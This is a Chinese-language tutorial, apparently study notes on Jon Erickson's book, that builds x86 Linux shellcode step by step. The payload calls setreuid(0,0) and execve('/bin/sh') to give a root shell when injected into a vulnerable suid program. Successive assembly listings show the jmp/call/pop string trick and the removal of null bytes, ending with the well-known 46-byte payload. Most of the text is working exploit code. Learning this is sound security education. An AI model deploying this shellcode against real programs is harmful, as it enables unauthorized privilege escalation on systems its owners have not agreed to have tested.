Linux环境下编写shellcode

Jon Erickson那本书上的内容,整理一下。

攻击存在漏洞的程序,使之执行我们的shellcode来使我们获得一个shell,若被攻击的进程权限是root,那么我们将获得一个rootshell。

shellcode的执行包括两个过程:

1、利用setreuid系统调用来恢复进程的root权限。有些suid程序在运行的过程中,出于安全的考虑,它们会尽可能删除root特权。为了拿到rootshell,我们在shellcode中应该恢复进程的root特权;

2、利用execve系统调用来获得一个shell。

下面用x86汇编的intel句法来说明如何编写shellcode。

shell.asm代码如下:

section .data
 
filepath db "/bin/shXAAAABBBB"
 
section .text
 
global _start ;定义程序入口
 
_start:
 
;setreuid(uid_t ruid, uid_t euid)
 
mov eax, 70 ;setreuid的系统调用号是70
 
mov ebx, 0
 
mov ecx, 0
 
int 0x80
 
;execve(const char *filename, char *const argv[], char *const envp[])
 
mov eax, 0
 
mov ebx, filepath
 
mov [ebx+7], al ;把filepath中的X字符覆盖为空字符
 
mov [ebx+8], ebx ;把filepath中的AAAA覆盖为filepath字符串的地址
 
mov [ebx+12], eax ;把filepath中的BBBB覆盖为0
 
mov eax, 11 ;execve的系统调用号
 
lea ecx, [ebx+8]
 
lea edx, [ebx+12]
 
int 0x80

在gentoo上测试:

 

shellcode1

成功得到了rootshell。

但是这段代码还远不是真正的shellcode。最大的问题是字符串存放在数据段中。由于shellcode不是一个独立运行的程序,而是要插入到正在运行的程序中,所以不能用单独的数据段在存储字符串。我们必须用余下的汇编指令存储来自数据段的字符串,并想办法找到这个字符串的地址。

下面介绍一种hack技巧,看这一段代码:

jmp two
 
one:
 
pop ebx
 
;program code here
 
two:
 
call one
 
db 'this is a string'

首先,程序向下跳转到two,然后调用one,同时把返回地址压到栈上,而我们看到call指令的下一条指令就是字符串,所以返回地址就是字符串的地址。接下来,one处的pop ebx指令将该地址存入ebx寄存器,然后就可以在接下来的代码中使用这个地址了!

应用该技巧剥离出来的shellcode.asm如下:

BITS 32
 
;setreuid(uid_t ruid, uid_t euid)
 
mov eax, 70
 
mov ebx, 0
 
mov ecx, 0
 
int 0x80
 
jmp short two
 
one:
 
pop ebx
 
;execve(const char *filename, char *const argv[], char *const envp[])
 
mov eax, 0
 
mov [ebx+7], al
 
mov [ebx+8], ebx
 
mov [ebx+12], eax
 
mov eax, 11
 
lea ecx, [ebx+8]
 
lea edx, [ebx+12]
 
int 0x80
 
two:
 
call one
 
db '/bin/shXAAAABBBB'

汇编上面的代码,之后用16进制编辑器看一下,如下图:

 

shellcode2

发现其中有好多空字节,我们知道,向strcpy这类函数都把空字节当做字符串的结尾,那么这样的shellcode显然是不能应用到攻击之中的,所以我们必须想办法删掉这些空字节。

我们可以使用XOR指令来把某个寄存器清零,然后使用这些寄存器即可,如下Shellcode.asm代码所示:

BITS 32
 
;setreuid(uid_t ruid, uid_t euid)
 
mov eax, 70
 
xor ebx, ebx ;这里
 
xor ecx, ecx ;这里
 
int 0x80
 
jmp short two
 
one:
 
pop ebx
 
;execve(const char *filename, char *const argv[], char *const envp[])
 
xor eax, eax ;这里
 
mov [ebx+7], al
 
mov [ebx+8], ebx
 
mov [ebx+12], eax
 
mov eax, 11
 
lea ecx, [ebx+8]
 
lea edx, [ebx+12]
 
int 0x80
 
two:
 
call one
 
db '/bin/shXAAAABBBB'

汇编之后再用16进制编辑器看看:

 

shellcode3

可以看到空字节虽然少了很多,但还是存在。

mov eax, 70指令的机器码是B8 46 00 00 00,其中B8表示mov,46 00 00 00是70的十六进制的小端表示,后面3个空字节只起填充作用,告诉汇编程序这是一个32位的数,而70这个数只需要一个字节就够了,所以我们使用eax寄存器的低字节al寄存器就可以:

xor eax, eax
 
mov al 70 ;机器码B0 46,没有空字节了

我们先将eax寄存器清零,然后把低字节置为70,下面的mov eax, 11做同样的处理(因为在execve的一开始eax就已经被清零,所以直接mov al, 11就可以了),shellcode.asm如下:

BITS 32
 
;setreuid(uid_t ruid, uid_t euid)
 
xor eax, eax ;这里
 
mov al, 70 ;这里
 
xor ebx, ebx
 
xor ecx, ecx
 
int 0x80
 
jmp short two
 
one:
 
pop ebx
 
;execve(const char *filename, char *const argv[], char *const envp[])
 
xor eax, eax
 
mov [ebx+7], al
 
mov [ebx+8], ebx
 
mov [ebx+12], eax
 
mov al, 11 ;这里
 
lea ecx, [ebx+8]
 
lea edx, [ebx+12]
 
int 0x80
 
two:
 
call one
 
db '/bin/shXAAAABBBB'

汇编之后用16进制编辑器查看如图:

 

shellcode4

这个shellcode已经可以用了,不过在利用的时候,由于我们不知道可以利用的缓冲区有多大,所以我们的shellcode应该越小越好。我们字符串/bin/sh后面的XAAAABBBB是为了给空字节和后来要复制到那里的两个地址分配的存储空间。因为我们的shellcode是运行在被攻击程序的地址空间内,也就是说已经窃取了目标那些没有明确分配的内存,所以这些字符可以删掉,产生代码如下图所示:

shellcode5

著名的46字节的shellcode就是这么产生的。

另外我们看到mov [ebx+7], al,这条指令把空字节放到/bin/sh之后,同样是一种避免出现空字符的技巧。